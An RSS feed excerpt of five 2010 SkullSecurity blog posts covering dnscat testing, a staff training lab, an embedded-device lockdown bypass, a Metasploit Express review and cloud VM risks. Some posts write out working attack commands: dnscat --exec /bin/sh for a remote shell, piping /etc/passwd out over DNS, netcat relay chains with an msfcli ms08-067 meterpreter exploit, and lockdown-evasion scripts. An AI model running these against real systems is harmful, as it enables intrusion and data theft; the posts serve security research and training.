		<comments>http://www.skullsecurity.org/blog/2010/call-for-testers-nbtool-0-05-and-dnscat-0-05#comments</comments>
		<pubDate>Wed, 07 Jul 2010 14:17:34 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[DNS]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=876</guid>
		<description><![CDATA[Hey all, I just released the second alpha build of nbtool (0.05alpha2), and I'm hoping to get a few testers to give me some feedback before I release 0.05 proper. I'm pretty happy with the 0.05 release, but it's easy for me to miss things as the developer. I'm hoping for people to test: Through [...]]]></description>
			<content:encoded><![CDATA[<p>Hey all,</p>
<p>I just released the second alpha build of nbtool (0.05alpha2), and I'm hoping to get a few testers to give me some feedback before I release 0.05 proper. I'm pretty happy with the 0.05 release, but it's easy for me to miss things as the developer. </p>
<p>I'm hoping for people to test:</p>
<ul>
<li>Through different DNS servers (requires an authoritative DNS server)</li>
<li>With different operating systems (doesn't require an authoritative server) -- I've tested it on Slackware 32-bit, Slackware 64-bit, FreeBSD 8 64-bit, and Windows 2003, those or others would be great!</li>
<li>With different commandline options (also doesn't require authoritative server)</li>
</ul>
<p>First off, grab the latest dnscat build from either the <a href='/wiki/index.php/Nbtool#Downloads'>nbtool</a> or the <a href='/wiki/index.php/Dnscat#Downloads'>dnscat</a> pages (it's the same file). Whether you build it from the source tarball, use the svn, or use the compiled versions, it's all good and let me know which you choose. </p>
<p>You can use the same machine for client/server, or put them on separate machines. Here are the important commands:</p>
<ul>
<li>Start the server: dnscat --listen</li>
<li>Start the server that can handle multiple clients: dnscat --listen --multi</li>
<li>Start a client with an authoritative nameserver: dnscat --domain &lt;yourdomainname&gt;</li>
<li>Start a client without an authoritative nameserver: dnscat --dns &lt;dnscatserver&gt;</li>
<li>Finally, check if you have an authoritative server: dnscat --test &lt;yourdomainname&gt;</li>
</ul>
<p>Use the --help argument to find the different options. Although all the options could use a workout, I'm particularly interested in how well --exec and --multi function across different operating systems. You can also get a ton more documentation on the <a href='/wiki/index.php/Dnscat'>wiki page</a>. </p>
<p>Things you can help me out with:</p>
<ul>
<li>Does it compile without warnings? Which OS?</li>
<li>Does it run?</li>
<li>Can the client/server communicate properly?</li>
<li>Does running --exec /bin/sh (or --exec cmd.exe) on the client give you a shell on the server</li>
<li>Does redirecting a bigger file (for example, dnscat --domain skullseclabs.org < /etc/passwd) work properly?</li>
<li>Do different options you find with --help work the way they're described?</li>
<li>Any other unexplained weirdness?</li>
</ul>
<p>Feedback on any or all of those points would be awesome! Also, I'd love to hear any other feedback, bad news, good news, complaints, compliments, or anything of the sort. Either send me an email (my address is on the right) or leave a comment on this post. </p>
<p>Thanks for helping out!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/call-for-testers-nbtool-0-05-and-dnscat-0-05/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Five Relays and a Patch</title>
		<link>http://www.skullsecurity.org/blog/2010/five-relays-and-a-patch</link>
		<comments>http://www.skullsecurity.org/blog/2010/five-relays-and-a-patch#comments</comments>
		<pubDate>Wed, 26 May 2010 13:57:34 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=793</guid>
		<description><![CDATA[Hey all, We hired a new pair of co-op students recently. They're both in their last academic terms, and are looking for a good challenge and to learn a lot. So, for a challenge, I set up a scenario that forced them to use a series of netcat relays to compromise a target host and [...]]]></description>
			<content:encoded><![CDATA[<p>Hey all,</p>
<p>We hired a new pair of <a href="http://coop.cs.umanitoba.ca">co-op students</a> recently. They're both in their last academic terms, and are looking for a good challenge and to learn a lot. So, for a challenge, I set up a scenario that forced them to use a series of netcat relays to compromise a target host and bring a meterpreter session back. Here is what the network looked like:<br />
<img style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; display: block; margin-left: auto; margin-right: auto; " title="Firewall Rules" src="http://www.skullsecurity.org/blogdata/fiverelays-1.png" alt="" width="236" height="494" /><br />
To describe in text:</p>
<ul>
<li>They have already compromised a Web server with a non-root account</li>
<li>The Web server has no egress filtering, but full ingress filtering, and they aren’t allowed to install anything (fortunately, it already had Netcat)</li>
<li>The target server has both egress and ingress filtering, and is not accessible at all from the Internet, but the Web server can connect to it on 139/445 (which are vulnerable to ms08-067). The target can also connect back to the Web server on any port.</li>
</ul>
<p>The challenge was to exploit the target server with ms08-067 and bring a meterpreter session back to the attacker server.</p>
<p>I had expected this would require 3-4 netcat relays, but, after helping them to get this working, we ended up with 5 relays for a variety of reasons, plus a minor patch to Metasploit! Maybe we did it the hard way, and maybe we didn’t need all those relays, but it was fun to set up and satisfying to get working.</p>
<p>Anyway, I’ll let them explain what they did!</p>
<h2>Five relays and a patch</h2>
<p>The image below shows the various netcat relays we ended up using, in order of execution.</p>
<p><img style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; display: block; margin-left: auto; margin-right: auto; " title="Relays" src="/blogdata/fiverelays-2.png" alt="" width="405" height="560" /></p>
<p>The first goal was to find a way to bypass the firewalls.  Metasploit was using default ports 445 for outgoing and 4444 for incoming connections, and since we can't connect to either of those ports on the Web Server (WEB), we needed the WEB to establish a connection back to us.  Fortunately WEB can connect to TARGET on port 445, and can receive a connection back on any port. Thus 2 netcats are running on the WEB are:</p>
<pre> nc HACKER 1234 -vv &lt; pipe4 |  nc TARGET 445 -vv &gt; pipe4</pre>
<p>This command forwards the traffic coming in on port 1234 from the HACKER to TARGET port 445 (Relay #4).</p>
<pre> nc -l -p 4444 -vv &lt; pipe2 | nc HACKER 4442 -vv &gt; pipe2</pre>
<p>This command listens for the meterpreter session back from TARGET on port 4444 and relays it to HACKER on port 4442 (Relay #2).</p>
<p>Why does WEB connect on arbitrary port 1234 instead of connecting to Metasploit's port 445? Well, Metasploit doesn't listen on that port, it needs to initiate the connection. So we need a netcat relay running on HACKER to listen for connection from Metasploit and connect it with the incoming connection from the WEB (Relay #3):</p>
<pre>nc -l -p 1234 -vv &lt; pipe3 | nc -l -p 445 &gt; pipe3</pre>
<p>As you might have noticed the WEB is  connecting back on port 4442, not 4444 on which Metasploit is listening (Relay #2). They cannot be connected directly, as WEB will establish connection immediately when it starts and Metasploit will get confused since its waiting on Meterpreter session and fail. So we need a relay listening on port 4442 on the HACKER and connecting it back to Metasploit, right? Well, not that simple.</p>
<pre> nc -l -p 4443 -vv &lt; pipe1 | nc -l -p 4442 -vv &gt; pipe1</pre>
<p>This command will listen for incoming connection from WEB on port 4442 and relay it to port 4443 when that connection is established (Relay #1). This gives Metasploit time to trigger an exploit and we only establish a final connection to Metasploit  once it did by running a final command:</p>
<pre>nc HACKER 4444 -vv &lt; pipe5 | nc HACKER 4443 -vv &gt; pipe</pre>
<p>This simply establishes a connection to the relay running on the same computer on port 4443 and sends it to Metasploit on port 4444 (Relay #6).</p>
<p>The biggest challenge was getting the timing of the last command right. We needed to activate it after Metasploit starts listening for the reverse_tcp stager but before it sends stage data. If stage data was sent before the entire link was created,the vulnerability would be exploited, but the stage would fail. In order to get the timing right for the final command, a modification to the <em>stager.rb</em> in the <em>lib/msf/core/payload/</em> folder was necessary. We added a three-second delay after the vulnerability has been triggered and before the stage data was sent in order to give us time to link the netcat relays together for the connection back.</p>
<p>This is the patch against the Metaploit version on the Backtrack 4 cd (it'll likely fail against the HEAD revision due to a number of changes):</p>
<pre>Index: stager.rb
===================================================================
--- stager.rb   (revision 8091)
+++ stager.rb   (working copy)
@@ -100,6 +100,9 @@
                                p = (self.stage_prefix || '') + p
                        end

+            print_status("Delaying for three seconds (Start your nc relay).")
+            Kernel.sleep(3)
+
                        print_status("Sending stage (#{p.length} bytes)")

                        # Send the stage
@@ -164,4 +167,5 @@
        #
        attr_accessor :stage_prefix</pre>
<p>Now that everything should be (theoretically) working, we had to make sure to start netcat relays in the right order to make sure they can establish connections, and we had to wait before executing #6 until #2 received a connection established message. The -vv command is optional for all nc instances except in #2, where they are used to determine when to execute #6. We first start all the listener relays and then start the relays that establish connections. The commands were executed in the order provided</p>
<ol>
<li>This command is run on the HACKER:</li>
<pre>nc -l -p 4443 -vv &lt; pipe1 | nc -l -p 4442 -vv &gt; pipe1</pre>
<li>This command was run on the WEB:</li>
<pre>nc -l -p 4444 -vv &lt; pipe2 | nc HACKER 4442 -vv &gt; pipe2</pre>
<li>HACKER:</li>
<pre>nc -l -p 1234 -vv &lt; pipe3 | nc -l -p 445 &gt; pipe3</pre>
<li>WEB:</li>
<pre>nc HACKER 1234 -vv &lt; pipe4 | nc TARGET 445 -vv &gt; pipe4</pre>
<li>Now that we have a connection to the target we run an exploit:</li>
<pre>./msfcli exploit/windows/smb/ms08_067_netapi
 PAYLOAD=windows/meterpreter/reverse_tcp RHOST=HACKER LHOST=WEB E</pre>
<li>Last command is run on HACKER when Relay #2 displays a detected connection:</li>
<pre>nc HACKER 4444 -vv &lt; pipe5 | nc HACKER 4443 -vv &gt; pipe</pre>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/five-relays-and-a-patch/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Defeating expensive lockdowns with cheap shellscripts</title>
		<link>http://www.skullsecurity.org/blog/2010/defeating-expensive-lockdowns-with-cheap-shellscripts</link>
		<comments>http://www.skullsecurity.org/blog/2010/defeating-expensive-lockdowns-with-cheap-shellscripts#comments</comments>
		<pubDate>Tue, 18 May 2010 15:43:33 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=820</guid>
		<description><![CDATA[Recently, I was given the opportunity to work with an embedded Linux OS that was locked down to prevent unauthorized access. I was able to obtain a shell fairly quickly, but then I ran into a number of security mechanisms. Fortunately, I found creative ways to overcome each of them. Here's the list of the [...]]]></description>
			<content:encoded><![CDATA[<p>Recently, I was given the opportunity to work with an embedded Linux OS that was locked down to prevent unauthorized access. I was able to obtain a shell fairly quickly, but then I ran into a number of security mechanisms. Fortunately, I found creative ways to overcome each of them. </p>
<p>Here's the list of the biggest problems I encountered, in the order that I overcame them:</p>
<ul>
<li>The user account couldn't 'ls' most folders due to lack of privileges</li>
<li>Process management tools (like ps) didn't work (thanks to the missing 'ls')</li>
<li>The user account could only write to designated areas, in spite of file permissions</li>
<li>Architecture was PowerPC, which I have no experience with</li>
<li>netstat, ifconfig, arp, and other tools were disabled</li>
</ul>
<p>I can't talk about how I actually obtained a shell, unfortunately, because the nature of the device would be too obvious. But I will say this: despite all their lockdowns, they accidentally left netcat installed. Oops :)</p>
<p>If you've been in similar situations and found some other tricks, I'd like to hear about them!</p>
<h2>Implementing ls</h2>
<p>Unfortunately, I was only able to obtain user access, not root. Despite permissions to the contrary, I couldn't run 'ls' against any system folders:</p>
<pre>$ cd /
$ ls
/bin/ls: cannot open directory .: Permission denied
$ cd /bin
$ ls
/bin/ls: cannot open directory .: Permission denied
$ find /
/
$ find .
.</pre>
<p>And so on. I could, however, run ls on /home/user, /tmp, and subfolders thereof. </p>
<p>As a side effect, I couldn't run the 'ps' command because it didn't have permission to read /proc:</p>
<pre>$ ps
Error: can not access /proc.</pre>
<p>But I'll get to that later. </p>
<p>After struggling a little, I was happy to discover that the 'which' command was enabled! </p>
<pre>$ which ls
/usr/bin/ls
$ which ps
/usr/bin/ps</pre>
<p>Great luck! I wrote a script on my personal laptop that would find every executable:</p>
<pre>
# find / -perm /0111 -type f |       # Find all executable files
  grep -v '^/home'           |       # Remove files stored on /home
  grep -v '\.so$'            |       # Remove libraries
  grep -v '\.a$'             |       # Remove libraries
  grep -v '\.so\.'           |       # Remove libraries
  sed 's|^.*/||'                     # Remove the path
</pre>
<p>And redirected the output from this script to a file. Then, I uploaded the file to the device using netcat and, after adding the sbin folders to the $PATH, I ran the following command:</p>
<pre>$ export PATH=/sbin:/usr/sbin:/usr/local/sbin:$PATH
$ cat my-programs.txt | xargs which | sort | uniq > installed-programs.txt</pre>
<p>Which returned a list that looked like:</p>
<pre>$ head installed-programs.txt
bin/arch
/bin/bzip2recover
/bin/cpio
/bin/dmesg
/bin/fusermount
/bin/hostname
/bin/ipmask
/bin/kill
/bin/killall
/bin/login
</pre>
<p>And finally, if you want more information:</p>
<pre>$ cat installed-programs.txt | xargs ls -l > installed-programs-full.txt</pre>
<p>Which, of course, gives you this type of output:</p>
<pre>$ head installed-programs-full
-rwxr-xr-x 1 root   root        2896 2008-03-31 16:56 /bin/arch
-rwxr-xr-x 1 root   root        7696 2008-04-07 00:42 /bin/bzip2recover
-rwxr-xr-x 1 root   root       52800 2007-04-07 12:04 /bin/cpio
-rwxr-xr-x 1 root   root        4504 2008-03-31 16:56 /bin/dmesg
-rwsr-xr-x 1 root   root       19836 2008-03-07 19:52 /bin/fusermount
-rwxr-xr-x 1 root   root        9148 2008-03-31 23:10 /bin/hostname
-rwxr-xr-x 1 root   root        3580 2008-03-31 23:10 /bin/ipmask
-rwxr-xr-x 1 root   root        8480 2008-03-31 16:56 /bin/kill
-rwxr-xr-x 1 root   root       14424 2006-12-19 18:07 /bin/killall
-rwxr-xr-x 1 root   root       44692 2008-03-24 15:11 /bin/login
</pre>
<p>Success! Now I have a pretty good idea of which programs are installed. I could collect samples from a wider variety of machines than just my laptop, potentially turning up more interesting applications, but I found that just the output from a single Linux system was actually a good enough sample to work with. </p>
<p>Remember, with the full 'ls -l' output, keep your eye out for 's' in the permissions. ;)</p>
<h2>Implementing ps</h2>
<p>As I mentioned earlier, the ps command fails spectacularly when you can't ls folders:</p>
<pre>$ ps
Error: can not access /proc.</pre>
<p>The first thing I tried was an experimental 'cat', which worked nicely:</p>
<pre>$ cat /proc/1/status
Name:   init
State:  S (sleeping)
[...]
</pre>
<p>Which tells me that the /proc filesystem is there, and that I have access to their accounting information. The only reason I can't list them is because 'ls /proc' (or the equivalent thereof) is failing. An investigation also told me that /proc/cpuinfo and /proc/meminfo also exist, which were helpful. So, I threw together a quick script to bruteforce the list:</p>
<pre>for i in `seq 1 100000`; do    # Take the first 100,000 PIDs
                               #(experimentally determined)
  if [ -f /proc/$i/status ]; then   # Check if the status file exists
    CMDLINE=`cat /proc/$i/cmdline | # Read the commandline
              sed 's/|//g' |        # Remove any pipes (will break things)
              sed "s/\x00/ /g"`;    # Replace null with space
    cat /proc/$i/status |           # Get the process details
      grep 'Name:'      |           # We only want the name
      cut -b7-          |           # Remove the prefix "Name:  "
      sed "s|$| ($CMDLINE)|";       # Add the commandline to the end
  fi;
done
</pre>
<p>The output for this will look like:</p>
<pre>init (init [3]        )
kthreadd ()
[...]
udevd (/sbin/udevd --daemon )
syslogd (/usr/sbin/syslogd )
klogd (/usr/sbin/klogd -c 3 -x )
</pre>
<p>So now I have a pretty good list of the running processes. Win!</p>
<p>Another option would be to write a patch for <a href='http://procps.sourceforge.net/'>procps</a> that implements a bruteforce listing, but that was beyond what I really wanted to do. </p>
<h2>Writing to protected areas</h2>
<p>This one, I want to be careful with. The reason is, I don't understand what was happening, or why. </p>
<p>In any case, in spite of permissions, I couldn't write to most folders, including /home/user. How they locked it down, I don't know, but I can't touch, cat, grep, etc them. </p>
<p>After some poking, though, I discovered that I could rm files and read/write them using redirection. So, oddly, it would look like this:</p>
<pre>$ touch test
touch: cannot touch `test': Permission denied
$ echo "TEST DATA" > test
$ cat test
cat: test: Permission denied
$ cat < test
TEST DATA
$ mv test test2
mv: cannot move `test' to `test2': Permission denied
$ cat < test > test2
$ rm test
</pre>
<p>That's all I can really say about that one. This bug let me write to some sensitive folders and modify settings I shouldn't have been able to. </p>
<h2>PowerPC</h2>
<p>The architecture of this device turned out to be PowerPC, which presented an interesting challenge. I've never done any cross compilation before, and I didn't even know where to start. So, I was going to skip it altogether. </p>
<p>Then, this past weekend, my <a href='http://www.twitter.com/bkulyk'>friend</a> brought over a device called <a href='http://www.wdc.com/en/products/index.asp?cat=30'>WD HD Live</a>. After installing Linux on it, I discovered that, like our old friend WRT54g, it had a MIPS core. So I took a couple hours out and learned how to cross compile for MIPS. </p>
<p>By Monday, I knew <s>everything</s> one or two things about cross compiliation, and was ready to get started! I downloaded <a href='http://www.kegel.com/crosstool/>Crosstool 0.43</a> and ran the following command:</p>
<pre>demo-powerpc-860.sh</pre>
<p>It automatically downloaded and installed the full toolchain and built a hello world program. I copied hello world to the device, using netcat, and verified that it worked. It did! </p>
<p>Next step was to compile something useful. So, I downloaded the source for <a href='http://packages.debian.org/squeeze/netcat-traditional'>Hobbit's Netcat</a> from Debian and compiled it with the crosstool commands (note: I have *no* idea whether or not this is the right way to cross compile; all I know is, it worked :) ):</p>
<pre>$ export PATH=/opt/crosstool/gcc-4.1.0-glibc-2.3.6/powerpc-860-linux-gnu/powerpc-860-linux-gnu/bin:$PATH
$ wget http://ftp.de.debian.org/debian/pool/main/n/netcat/netcat_1.10.orig.tar.gz
$ wget http://ftp.de.debian.org/debian/pool/main/n/netcat/netcat_1.10-38.diff.gz
$ tar -xvvzf netcat_1.10.orig.tar.gz
$ gunzip -v netcat_1.10-38.diff.gz
$ patch -p0 < netcat_1.10-38.diff
$ patch -p0 < netcat-1.10.orig/debian/patches/glibc-resolv-h.patch
$ cd netcat-1.10.orig
$ make linux CC=gcc</pre>
<p>I successfully copied the new netcat to the device and ran it, to prove that the cross compile worked. </p>
<p>Obviously, using netcat to copy netcat to the device makes very little sense. But the point was to prove that cross compilation works, not that I could do something interesting with it. </p>
<h2>No networking tools</h2>
<p>Finally, I was dismayed to find out that netstat, ifconfig, arp, and others all returned a "Permission denied" error when I tried to run them. How am I supposed to figure out the system state without them?</p>
<p>Fortunately, none of them require setuid to run, so I downloaded the latest <a href='http://www.tazenda.demon.co.uk/phil/net-tools/'>net-tools</a> package, compiled it with the PowerPC toolchain, uploaded them with netcat, and tried them out:</p>
<pre>$ ./netstat-ron -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 192.168.155.11:39002    192.168.155.105:3306     TIME_WAIT
tcp        0      0 192.168.155.11:41992    192.168.155.105:3306     ESTABLISHED
tcp        0      0 192.168.155.11:37288    192.168.155.105:3306     ESTABLISHED
tcp        0      0 192.168.155.11:38736    192.168.155.105:3306     ESTABLISHED
tcp        0      0 192.168.155.11:38652    192.168.155.105:3306     ESTABLISHED
</pre>
<pre>$ ./ifconfig-ron lo
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1285090 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1285090 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:130762797 (124.7 MiB)  TX bytes:130762797 (124.7 MiB)
</pre>
<pre>$ ./arp-ron
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.155.1            ether   00:0C:29:7E:21:63   C                     eth0
192.168.155.105          ether   00:50:56:C0:00:00   C                     eth0
192.168.155.144          ether   00:0C:29:42:B7:1B   C                     eth0
</pre>
<p>Done!</p>
<h2>Conclusion</h2>
<p>So, I managed to overcome the lockdown on the embedded device. Once I had shell I could do pretty anything I could normally do, in spite of the attempted lockdown. Therefore, I concluded that, in its current state, the lockdown was nearly useless. </p>
<p>I plan to work with the vendor, of course, to help them resolve these issues. </p>
<p>Now, your turn! Have you ever had to use makeshift tools on a locked down system? Any interesting stories?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/defeating-expensive-lockdowns-with-cheap-shellscripts/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Metasploit Express Beta - First Look</title>
		<link>http://www.skullsecurity.org/blog/2010/metasploit-express-beta-first-look</link>
		<comments>http://www.skullsecurity.org/blog/2010/metasploit-express-beta-first-look#comments</comments>
		<pubDate>Tue, 11 May 2010 14:15:02 +0000</pubDate>
		<dc:creator>Matt Gardenghi</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Metasploit Express]]></category>
		<category><![CDATA[PenTesting]]></category>
		<category><![CDATA[Rapid7]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=779</guid>
		<description><![CDATA[This post was written by Matt Gardenghi This is just initial impressions of a beta product. I've been playing with this for about a week now in an internal network.  I have a dedicated box running Ubuntu 10.04 and Metasploit Express.  I've noticed that Express loves CPU time but is much less caring about RAM.  [...]]]></description>
			<content:encoded><![CDATA[<p><em>This post was written by <a href='http://www.twitter.com/matt_gardenghi'>Matt Gardenghi</a></em></p>
<p>This is just initial impressions of a beta product.</p>
<p>I've been playing with this for about a week now in an internal network.  I have a dedicated box running Ubuntu 10.04 and Metasploit Express.  I've noticed that Express loves CPU time but is much less caring about RAM.  It's also not multi-threaded.  I'd recommend a dual core box as Express will peg one core.  If you want to do anything else while Express is running, you need two cores. Still, Express does not require an expensive RAM build out. I've run top plenty of times and seen that the RAM usage remains low even when I've had 170+ shells running.  :-p  Hopefully, we'll get multi-threading down the road.  When multiple tasks are running simultaneously, this lack of multi-threading becomes an issue.  Everything slows to a crawl.</p>
<p>Anyway speed issues aside, Express is very slick.  The interface is clean and minimalistic.  At first, things are a little to minimalistic.  It took me a while to realize that I had tasks running; they appeared to start and finish, but had actually moved to the task list.  Express gives subtle hints about tasks running, sessions opened, and updated system information as seen in this screenshot (the blue circles with numbers).</p>
<p><img class="alignnone" title="Express" src="/blogdata/Express1.PNG" alt="" width="417" height="57" /></p>
<p>There are a lot of features to talk about, but let me simplify it this way: As long as you are willing to run generic scans, exploits, etc, Express will simplify your pentesting.</p>
<p>Wait, don't go yet.  You can still do quite a bit with this.  (And from my communication with the developers, we will eventually receive the ability to tweak the defaults.) Let's suppose you want to see if anyone is running default usernames and passwords across a large organization.  Express will do that (and give you shell if possible).  Express handles large groups of repetitive tasks well.</p>
<p>Down the road, it would be nice if users can change the defaults if they see a need (maybe your AV picks up this particular default).  Still, as a general rule, the defaults are set because they work in most instances.  You may never need to change anything. (You can run specific modules from the Metasploit kit.)</p>
<p>There are times when the more advanced Metasploit features are needed.  These can be accessed from the console if you tell Metasploit to use the same Postgres DB.  I haven't got that working yet, probably user error.</p>
<p>Anyway, having played with this for a while now, I can't see it replacing my usual toolset.  I'm seldom given an internal IP to test and am seldom allowed to perform social engineering.  So, I'm not certain how much use this will be to me as my access usually starts with a website flaw (file upload, poor password) or router misconfiguration. Now if I could set up multi/handler, execute a payload (social engineering, file upload flaw or such), and then pivot into the organization..., well that would make a BIG difference.</p>
<p>I can see this being worth the price for anyone on an internal security team.  At the least, this will grab all the low hanging fruit and then will grant you the information you need to perform more in depth testing.</p>
<p>This is a good tool for those network admins who also wear the security hat.  They can run NeXpose or Nessus across their environment, import it into Express and demonstrate the need to fix these holes.</p>
<p>Check it out.  And once we leave beta, I'm hoping to write a full review about the various features.  Questions?  Drop me a line or post a comment and I'll see what I can answer for you.</p>
<p>There is a high likelihood that you will find this tool useful in your security testing work.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/metasploit-express-beta-first-look/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Confidential Information in the Cloud</title>
		<link>http://www.skullsecurity.org/blog/2010/confidential-information-in-the-cloud</link>
		<comments>http://www.skullsecurity.org/blog/2010/confidential-information-in-the-cloud#comments</comments>
		<pubDate>Wed, 05 May 2010 14:43:16 +0000</pubDate>
		<dc:creator>Matt Gardenghi</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[Matt Gardenghi]]></category>
		<category><![CDATA[SaaS]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[VMWare]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=752</guid>
		<description><![CDATA[This is another special blog written by Matt Gardenghi! My boss passed around a document about database security in the cloud.  It raised issues about proper monitoring of the DB, but offered no solutions. This got me thinking.  I hate it when that happens.  Its like an automatic "boss button" that I can't switch off.  [...]]]></description>
			<content:encoded><![CDATA[<p><em>This is another special blog written by <a href='http://twitter.com/matt_gardenghi'>Matt Gardenghi</a>!</em> </p>
<p>My boss passed around a document about database security in the cloud.  It raised issues about proper monitoring of the DB, but offered no solutions.</p>
<p>This got me thinking.  I hate it when that happens.  Its like an automatic "boss button" that I can't switch off.  /gah</p>
<p>For the sake of argument, let's assume we are discussing VMs hosted on some provider's (Amazon) VMWare ESX cluster.  This could really apply to any VM on any company's specific VM host, but VMWare is big, popular, and a good basis to work from.  Let's say, some marketing exec bought a package that would hold data on a machine in the cloud.  (You may shoot him later; right now, you have to deal with the issues of integration into your secure environment.)</p>
<p>Now let's suppose that you do not have enough machines to warrant a private cluster.  You will be sharing a cluster with unknown parties.  Fun!  (Ant-acid is found in aisle 5.)</p>
<p>After reading this document, my mind immediately ran to the story of Kevin Mitnick's hacked website.  You may recall that the headlines proclaimed that Mitnick was hacked, when that is only true in the strictest sense.  In reality, it was a shared host, and one of the other sites was running old code and was hacked.  That hack granted the attacker access to modify Mitnick's site.</p>
<p>OK, but are you really at risk this way?  We're talking about VMs here not shared hosting on a poorly configured LAMP stack.   But, surely you've heard of <a href="http://lists.vmware.com/pipermail/security-announce/2009/000055.html">Guest -&gt; Host</a> exploits?  And since this is publicly obtainable software, one *could* setup a duplicate environment and fuzz away at it....  (Not that any <a href="http://en.wikipedia.org/wiki/Russian_Business_Network">entity</a> would do that, of course.)</p>
<p>So theoretically, one of the other unknown/untrusted Guests could use a zero day exploit to compromise the Host.  Then they could compromise all of the co-located Guests on the box.  Cheery thought....  How would you know?  Since they are essentially performing a "man in the middle," the attacker could just watch your traffic and never touch your machine.  All of those techniques for modifying data on the wire come trudging depressingly back to mind.  You couldn't trust the data coming from the user or going to the user.</p>
<p>Further, if the ESX host is compromised, every machine that VMotioned over to it could be compromised.  Every machine that VMotioned off could then run the zero day against a new host.  This would get an entire cluster and possibly migrate to other clusters (though much less likely).</p>
<p>Now one might ask "how" a malicious user/competitor/etc would locate your server in Amazon's cloud and target your machine.  Cue stage right: a paper on doing that very <a href="http://cseweb.ucsd.edu/~hovav/dist/cloudsec.pdf">thing (pdf)</a>.</p>
<p>So now we are looking at 1) an attacker can find your machine, 2) an attacker could instigate Guest -&gt; Host exploits.  Are you still certain you want to put your data in the cloud?  Ugh.  I can't think of one good reason to do this on a public cloud hosting service.</p>
<p>I know that this is more of a theoretical post and not like Ron's usual posts detailing specific exploitation or research, but I'm interested in your comments.  Am I off base in this reasoning (has happened once or twice before - according to my wife anyway).  What are your thoughts?  Is it worse than I suspect or am I over-reacting?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/confidential-information-in-the-cloud/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>

